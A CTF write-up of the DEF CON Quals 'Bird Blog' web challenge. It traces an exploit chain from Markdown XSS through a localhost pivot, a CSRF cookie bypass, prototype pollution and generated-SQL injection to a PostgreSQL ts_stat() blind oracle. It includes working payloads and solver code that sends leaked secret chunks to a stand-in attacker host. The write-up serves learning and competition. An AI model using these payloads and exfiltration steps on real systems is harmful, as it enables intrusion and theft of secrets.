Posts

DEF CON CTF 34 Quals Bird Blog Write-up

A DEF CON web challenge write-up

  • It has been a little while since DEF CON Quals ended, but I wanted to write up Bird Blog, one of the web challenges where I managed to get the flag.

Bird Blog challenge description page

Bird Blog solve count and point value

TL;DR

  • The final goal of this challenge is not to steal the flag directly from the browser, but to recover secret_key by creating a server-side SQL execution path.
  • XSS is the starting point. From there, the chain continues through a localhost pivot, admin CSRF bypass, prototype pollution, generated SQL injection, and a PostgreSQL oracle.

The attack chain looks like this.

Bird Blog exploit chain overview

Comment Markdown XSS
-> executed in the bot browser
-> pivot to localhost:8080 origin
-> bypass admin CSRF
-> configure() prototype pollution
-> admin XSS through polluted Handlebars noEscape
-> generated archive.sql SQL injection
-> PostgreSQL ts_stat() dynamic SQL oracle
-> recover secret_key
-> submit it to the flag service /submit

There are two important points.

  • Admin XSS alone cannot read the response body from localhost:1337. The port is different, so SOP blocks it.
  • The DB contains secret_key, and the app user can read it.
  • Therefore, the core idea is to connect a browser bug to server-side SQL execution.

Service Structure

The services are arranged like this.

File: docker-compose.yaml

services:
  blog_app:
    ports:
      - 8080:8080
      - 1337:1337

  bot:
    network_mode: "service:blog_app"
    environment:
      CONFIG_HOST: http://localhost:8081
      BLOG_HOST: http://host.docker.internal:8080

  postgres:
    network_mode: "service:blog_app"

  flag:
    network_mode: "service:blog_app"
  • bot, Postgres, and flag share the same network namespace as blog_app.
  • From the bot's point of view, blog is at localhost:8080, admin is at localhost:8081, flag is at localhost:1337, and Postgres is at localhost:5432.
  • secret_key is also stored in the DB, and the app user can read it.

File: db/initdb.sh

CREATE TABLE secret_key (secret_key text);
INSERT INTO secret_key VALUES ('$SECRET_KEY');

GRANT SELECT ON secret_key TO $APP_USER;
  • The flag service shows the flag only when the SHA-256 hash of the submitted key matches the SECRET_KEY environment variable.

File: flag/src/index.mjs

const SECRET_KEY = process.env.SECRET_KEY;
const FLAG = process.env.FLAG;
const SECRET_KEY_HASH = createHash("sha256").update(SECRET_KEY).digest();

app.post("/submit", async (request, reply) => {
	const { secretKey } = request.body;
	const providedKeyHash = createHash("sha256").update(secretKey).digest();

	if (timingSafeEqual(providedKeyHash, SECRET_KEY_HASH)) {
		return reply.view("flag.hbs", { flag: FLAG });
	}
});
  • So the final step is to recover the exact SECRET_KEY and submit it to /submit.

1. Comment Markdown XSS

  • The first entry point is the comment Markdown renderer.
  • The comment partial passes the comment body to the markdown helper.

File: app/config-template/hbs/partials/comment.hbs

<div class="comment" id="comment-{{this.id}}">
	<div class="meta">
		Posted <time datetime="{{this.created_at}}">{{relativeTime this.created_at}}</time>
		by {{this.author}}
	</div>
	<div class="content">{{markdown this.content}}</div>
</div>
  • The helper wraps the conversion result in SafeString, bypassing Handlebars' default escaping.

File: app/src/helpers/hbs.mjs

handlebars.registerHelper("markdown", function (content) {
	return new handlebars.SafeString(markdown(content));
});
  • The Markdown parser is not a sanitizer. It is a regex-based replacer.
  • It escapes <, >, and & at first, but later creates image and link HTML directly.

File: app/src/helpers/markdown.mjs

content = content.replace(/[<>&]/g, (char) => `&#${char.charCodeAt(0)};`);
content = content.replace(/[^\x00-\x7F]/ug, (char) => `&#${char.codePointAt(0)};`);

content = content.replace(/!\[([^\]]*)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, alt, url) => {
	try {
		const parsedUrl = new URL(url);
		return `<img src="${parsedUrl.href}" alt="${alt}">`;
	} catch {
		return match;
	}
});

content = content.replace(/\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, text, url) => {
	try {
		const parsedUrl = new URL(url);
		return `<a href="${parsedUrl.href}">${text}</a>`;
	} catch {
		return match;
	}
});
  • During image conversion, the alt value is inserted directly into an HTML attribute context.
  • After image conversion, link conversion runs again inside the generated HTML string.
  • Because of this, <a href="..."> can be inserted inside alt="...", and the quote in href can break out of the image tag's attribute quote.
  • For example, a payload that executes js can be triggered like this.
![[x](http://localhost:8888/333)](http://x/onerror=window.onerror=alert;throw/**/1//)

Initial Markdown XSS alert proof of concept Markdown XSS rendered DOM showing an injected onerror handler

  • The Markdown parser creates broken <img> HTML.
  • The browser HTML parser puts the malformed HTML into the DOM through error recovery.
  • The onerror handler survives.
  • When the bot opens the comment page on the public blog, the first onerror navigates to the src, which is http://localhost:8080/comments/COMMENT_ID/view.
  • When the same comment opens again on localhost blog origin, the javascript: payload stored in window.name executes.

The bot really opens an unmoderated comment and stays on the page for 30 seconds.

File: bot/src/bot.mjs

const [commentPageTarget] = await Promise.all([
	browser.waitForTarget((target) => target.url().startsWith(`${BLOG_HOST}/comments/`), { timeout: 10000 }),
	moderationPage.click(`#${firstUnmoderatedComment} form.view button`)
]);

const commentPage = await commentPageTarget.page();
await new Promise((resolve) => setTimeout(resolve, 30000));

2. localhost Origin Pivot

  • The admin service is difficult to access directly from outside.
  • It checks whether the request IP is localhost or a private IP.

File: app/src/admin.mjs

const LOCALHOST_ONLY_REGEX = /^127\.0\.0\.1$/;
const PRIVATE_IP_REGEX = /^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)/;
const ALLOW_PRIVATE_IPS = process.env.CONFIG_ALLOW_PRIVATE_IPS === "true";
const IP_REGEX = ALLOW_PRIVATE_IPS ? PRIVATE_IP_REGEX : LOCALHOST_ONLY_REGEX;

app.addHook("preHandler", async (request, reply) => {
	if (!IP_REGEX.test(request.ip)) {
		reply.status(403).send({ error: "Forbidden" });
		return;
	}
});
  • Inside the bot, admin is localhost:8081.
  • So if we execute XSS once on the public blog and then make the bot reopen the same comment at http://localhost:8080/comments/:id/view, we can obtain localhost blog origin.
  • The final solver, remote_solver2.mjs, automates this pivot.
  • It first submits a marker comment to find the comment id, then submits several XSS payload comments using predicted next comment ids.

File: remote_solver2.mjs

const markerId = await findCommentId(TARGET, marker);

const payloadCount = Number(process.env.PAYLOAD_COUNT ?? "16");
for (let i = 1; i <= payloadCount; i++) {
	const predictedId = markerId + i;
	await submitComment(TARGET, postId, `u-${nonce}-${i}`, xssComment(predictedId));
}
  • When the XSS comment is first opened on the public blog, it navigates to the localhost comment URL in src. When it is opened again on localhost, it executes the JavaScript stored in window.name.
function xssComment(commentId) {
	const adminUrl = `javascript:${percentAll(localEntryCode(commentId, 0))}`;
	const src = `http://localhost:8080/comments/${commentId}/view`;
	const onerror = `window.name=window.name||/${adminUrl}/.source;location=location.host==/localhost:8080/.source?window.name:src//`;
	return `![[x](${src})](http://x/onerror=${onerror})`;
}
  • The same idea is used again after admin XSS, when the extractor needs to run on blog origin.
  • From admin origin, it creates a hidden iframe, stores extractor code in contentWindow.name, and navigates the frame to the localhost:8080 comment view.
const frame = document.createElement("iframe");
document.body.appendChild(frame);
frame.contentWindow.name = extractor;
frame.src = `http://localhost:8080/comments/${commentId}/view`;
  • After this stage, the attack code executes on localhost:8080 origin.
  • It does not read or steal the existing cookie. Instead, it can write an attacker-known cookie on the same host, localhost.
  • That lets the exploit plant the _csrf cookie with Path=/configure for the admin CSRF bypass.

3. Admin CSRF Bypass

  • Admin POST requests validate the _csrf cookie against csrfToken in the request body.

File: app/src/admin.mjs

if (request.method === "POST") {
	const csrfSecret = request.cookies._csrf;
	const bodyCsrfToken = request.body?.csrfToken;

	const [csrfSalt, csrfHash] = bodyCsrfToken.split(";");
	const hash = createHash("sha256").update(csrfSalt + ":" + csrfSecret).digest();

	if (!timingSafeEqual(Buffer.from(csrfHash, "hex"), hash)) {
		reply.status(403).send({ error: "Invalid CSRF token" });
		return;
	}
}
  • The cookie is issued like this.
if (!csrfSecret) {
	csrfSecret = randomBytes(16).toString("hex");
	reply.header("Set-Cookie", `_csrf=${csrfSecret}; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600`);
}
  • The core issue is that the CSRF secret is not bound to a server-side session. It comes from the cookie value.
  • Since it is HttpOnly, we cannot read the existing cookie, but we can write another cookie with the same name on the same host, localhost.
  • Cookies are not isolated by port.
  • A cookie written from localhost:8080 is also attached to localhost:8081 requests if the conditions match.
  • If we use a more specific path such as Path=/configure, the attacker-known _csrf=p can be used for /configure requests.
  • remote_solver2.mjs sets this cookie in localEntryCode() and puts the token corresponding to sha256("q:p") in the body.

File: remote_solver2.mjs

document.cookie = "_csrf=p;Path=/configure";

const body = [
  "csrfToken=" + encodeURIComponent("q;" + H),
  "title=Musings%20on%20Birds",
  "theme=raven",
  "categories=" + encodeURIComponent("*__proto__/compileOptions,*__proto__/noEscape,*__proto__/x,*x/y"),
  "inNavPosts="
].join("&");

fetch("http://localhost:8081/configure", {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body
});

4. configure() Prototype Pollution

  • configure() splits category input by slash and stores the navigation tree in a normal object.

File: app/src/helpers/configure.mjs

const navTree = {};

for (const category of categories) {
	if (!category.inNav) {
		continue;
	}

	const dividerIndex = category.name.indexOf("/");

	if (dividerIndex !== -1) {
		const superCategory = category.name.slice(0, dividerIndex).trim();
		const subCategory = category.name.slice(dividerIndex + 1).trim();

		if (Array.isArray(navTree[superCategory])) {
			throw new Error(`Invalid category hierarchy: "${superCategory}" is both a category and a super-category`);
		}

		navTree[superCategory] ??= {};
		navTree[superCategory][subCategory] = [];
	} else {
		if (category.name in navTree) {
			throw new Error(`Invalid category hierarchy: "${category.name}" is both a category and a super-category`);
		}

		navTree[category.name] = [];
	}
}
  • Since navTree is a plain object, __proto__ is not safely stored as an ordinary key.
  • For example, if the category is:
*__proto__/compileOptions
  • superCategory becomes __proto__, and subCategory becomes compileOptions.
  • At that point, navTree[superCategory] points to Object.prototype, effectively causing:
Object.prototype.compileOptions = [];
  • However, a successful configure request rewrites the config files and schedules a process restart.

File: app/src/admin.mjs

app.post("/configure", async (request, reply) => {
	await configure(request.body);
	console.log("Configuration updated, restarting...");
	setTimeout(() => process.exit(2), 500);
});
  • Therefore, the exploit needs to create pollution and then intentionally fail.
  • The request should fail while leaving prototype pollution in the current Node process.
  • remote_solver2.mjs first creates Object.prototype.x, then triggers a hierarchy error through the inherited x.

File: remote_solver2.mjs

"categories=" + encodeURIComponent("*__proto__/compileOptions,*__proto__/noEscape,*__proto__/x,*x/y")
  • Because of this structure, the request fails, the process stays alive, and the prototype pollution remains for the next request.

5. Disabling Handlebars Escaping and Admin XSS

  • The admin view engine does not pin compile options.

File: app/src/admin.mjs

app.register(fastifyView, {
	engine: { handlebars },
	root: adminHbsDir.pathname,
	layout: "layout.hbs"
});
  • The admin edit page passes the message query string into the template context.
app.get("/posts/create", async (request, reply) => {
	const categories = await executeQuery("admin/getCategories");
	return reply.view("editPost.hbs", {
		categories,
		csrfToken: request.csrfToken,
		message: request.query.message
	});
});
  • The template prints message using a normal Handlebars expression.

File: app/config-template/hbs/admin/editPost.hbs

{{#if message}}
<div class="flash success">{{message}}</div>
{{/if}}
  • In the normal state, {{message}} is HTML-escaped, so <script> does not execute. But the previous stage pollutes the prototype like this.
Object.prototype.compileOptions = [];
Object.prototype.noEscape = [];
  • If the view engine or Handlebars compile path reads options through the prototype chain, the inherited noEscape can be evaluated as truthy.
  • Then Handlebars escaping is disabled, and {{message}} is rendered as raw HTML.
  • After escaping is disabled, remote_solver2.mjs puts an external script in message.

File: remote_solver2.mjs

location = "http://localhost:8081/posts/create?message="
  + encodeURIComponent('<script src="${adminScript}"><\\/script>');
  • Now the attacker's admin.js runs on localhost:8081 admin origin.

6. Why Admin XSS Alone Cannot Read the Flag

  • At this point, it is tempting to think that we can just fetch the flag service.
  • But the admin XSS runs on localhost:8081, while the flag service is on localhost:1337.
localhost:8081  admin origin
localhost:8080  blog origin
localhost:1337  flag origin
localhost:5432  Postgres
  • Browser SOP includes the port in the origin.
  • JavaScript running on localhost:8081 cannot read the response body from localhost:1337.
  • Sending a POST with no-cors is possible, but the response is opaque and unreadable.
  • Even if the flag page is opened, JS cannot read the flag text and send it back to the attacker.
  • The useful direction is to abuse the app server's SQL execution path, because the DB initialization script showed that the app user can read secret_key.

7. generated archive.sql SQL Injection

  • archive.sql.chbs generates top categories as a SQL VALUES list.

File: app/config-template/sql/blog/archive.sql.chbs

'highlights', (
	WITH top_categories AS (
		VALUES
		{{#each topCategories}}
			({{ @index }}, {{{ sqlString (slugify name) }}}){{#unless @last}},{{/unless}}
		{{/each}}
	)
	SELECT jsonb_agg(jsonb_build_object(
		'slug', slug,
		'name', name,
		'posts', COALESCE(...)
	))
	FROM top_categories
		JOIN categories ON top_categories.column2 = categories.slug
)
  • Looking only at the helpers, a simple quote injection seems difficult.

File: app/src/helpers/hbs.mjs

handlebars.registerHelper("sqlString", function (str) {
	return `'${str}'`.replace(/'/g, "''").slice(1, -1);
});

handlebars.registerHelper("slugify", function (str) {
	const slug = slugify(str.replace(/\//g, " "), { lower: true, remove: /[^\w\s]/ });
	if (slug.includes("/")) {
		throw new Error(`Invalid slug "${slug}" generated from "${str}"`);
	}
	return slug;
});
  • But this is not a normal quote injection. It abuses a parsing difference between generated SQL and the SQL minifier.
  • slugify uses any-ascii transliteration.

File: app/src/helpers/slugify.mjs

import anyascii from "any-ascii";

export function slugify(text, options = {}) {
	let slug = text.split("").reduce((acc, cur) => {
		cur = anyascii(cur);
		return acc + cur.replace(options.remove ?? /[^\w\s$*_+~.()'"!\-:@]+/g, "");
	}, "");

	slug = slug.replace(/\s+/g, "-");
	return slug;
}
  • By using special Unicode characters that any-ascii converts into ASCII punctuation, part of the SQL punctuation can survive in the slug.
  • With the prototype pollution from the previous stage, polluting Object.prototype.minify can enable pg-promise QueryFile minification.

File: app/src/helpers/db.mjs

const queryCache = new Map();

export async function executeQuery(name, parameters = []) {
	let queryFile;

	if (queryCache.has(name)) {
		queryFile = queryCache.get(name);
	} else {
		queryFile = new pgp.QueryFile(new URL(`${name}.sql`, sqlDir));
		queryCache.set(name, queryFile);
	}

	const result = await db.any(queryFile, parameters);
	return result;
}
  • Since QueryFile options are not explicitly provided, there is room for prototype chain influence.
  • remote_solver2.mjs first sends a successful configure request with malicious categories to write the generated archive.sql, then after the restart sends a failing configure request to leave Object.prototype.minify in the current process.

File: remote_solver2.mjs

const ok = await postJsonConfig({
  title: "Musings on Birds",
  theme: "raven",
  categories,
  inNavPosts: ""
});

await waitAdmin();

const failResp = await postFormConfig({
  title: "Musings on Birds",
  theme: "raven",
  categories: "*__proto__/compileOptions,*__proto__/noEscape,*__proto__/minify,*__proto__/debug,*__proto__/x,*x/y",
  inNavPosts: ""
}).catch(() => {});
  • Conceptually, the generated VALUES list becomes something like this.
VALUES
  (0, 'dummy'),
  (1, E'\'),
  (2, ')union(select ... )--x')
  • pg-minify reinterprets the SQL string containing the backslash, escapes the SQL string literal, and lets the third category slug enter SQL context to inject a UNION SELECT.

8. ts_stat() Dynamic SQL Oracle

  • Even after SQLi, directly printing the result of SELECT secret_key is difficult.
  • The archive query output must join against categories.slug before it appears in HTML.
  • Arbitrary strings disappear during the join.
  • So the oracle returns a pre-created marker category slug and checks whether that marker link appears in archive HTML.
  • If the join succeeds, the corresponding marker appears in the archive HTML.
  • Here, ts_stat(sqlquery text) acts as the oracle.
  • PostgreSQL's ts_stat() executes the SQL string it receives for text search statistics.
  • This property lets the SQLi payload execute dynamic SQL that reads secret_key, then blind-leak it through marker presence.
  • The final solver, remote_solver2.mjs, uses a bit oracle with M0..M8 markers.
  • The extractor jobs 0 count 64 jobs 43 log visible in the final flag screenshot also comes from this method.

File: remote_solver2.mjs

const SECRET_LENGTH = Number(process.env.SECRET_LENGTH ?? "64");
const CHUNK_SIZE = Number(process.env.CHUNK_SIZE ?? "32");
const BITS_PER_CHAR = 6;
const MARKERS = Array.from({ length: 9 }, (_, i) => `m${i}`);
const BITS_PER_PAGE = MARKERS.length;
  • It treats each alphabet index as a 6-bit value and reads 9 bits per archive page using 9 markers.
  • The marker categories are M0..M8, and the extractor checks whether links such as /categories/m0 or /categories/m1 appear in HTML.
for (let bitBase = Math.floor(startBit / bitsPerPage) * bitsPerPage; bitBase < endBit; bitBase += bitsPerPage) {
  jobs.push({ bitBase, page: base + Math.floor(bitBase / bitsPerPage) });
}
  • For a 64-character secret, the total number of bits is:
64 chars * 6 bits = 384 bits
  • Since one archive page reads 9 bits, the number of required jobs is:
ceil(64 * 6 / 9) = ceil(384 / 9) = 43

Archive oracle logs showing 43 probe jobs for a 64-character secret

  • Therefore, count 64 jobs 43 means the solver created 43 archive probe jobs to recover a 64-character secret in one chunk.
  • The actual extractor also reconstructs bits based on marker link existence.
if (html.includes("/categories/"+markers[m]+'"')) {
  bits[local][b] = 1;
}

const chunk = bits
  .map(bs => alphabet[bs.reduce((a, b, i) => a + (b << i), 0)] || "?")
  .join("");
  • The recovered chunk is sent to the attacker's /leak endpoint. Once all chunks are collected, the key is assembled and submitted to the flag service.

File: remote_solver2.mjs

await fetch(A + "/leak?start=" + encodeURIComponent(start), {
  method: "POST",
  mode: "no-cors",
  body: chunk
}).catch(() => {});

let key = "";
for (let i = 0; i < total; i += CHUNK_SIZE) {
  key += localStorage.getItem("bb2_chunk_" + i) || "";
}

await fetch("http://localhost:1337/submit", {
  method: "POST",
  mode: "no-cors",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "secretKey=" + encodeURIComponent(key)
}).catch(() => {});

9. Remote Stabilization and remote_solver2.mjs

  • Locally, the default SECRET_KEY is 64 characters and network timing is stable. Remotely, the environment was a little different, so the solver needed to be more stable.
  • It is hard to pin the remote failures on a single cause, but this exploit had to finish several stages within the short time window where the bot browser kept the comment view open.
  • Also, /configure requests trigger application restarts, and secret recovery requires many archive oracle probes, so remote timing and network latency can have a much larger impact than local testing.
  • The final solver was organized to reduce failure-prone points.
  • It submits multiple payload comments to reduce the chance of comment id prediction failure, and archive probing is controlled through PROBE_CONCURRENCY and PROBE_TIMEOUT_MS.
PORT=8888
ATTACKER=https://ATTACKER.ngrok-free.app
SECRET_LENGTH=64
CHUNK_SIZE=64
PROBE_CONCURRENCY=8
PROBE_TIMEOUT_MS=5000
PROGRESS_EVERY=5
PAYLOAD_COUNT=16

10. Final PoC

  • The final PoC opens an attacker HTTP server, posts a marker comment and payload comments to the public blog, and handles the /admin.js, /leak, and /done callbacks requested by the bot.
  • Once all key chunks are collected, it submits the key directly to the public flag service.
  • In the end, it obtained the flag remotely.

Final PoC execution obtaining the public flag response

Search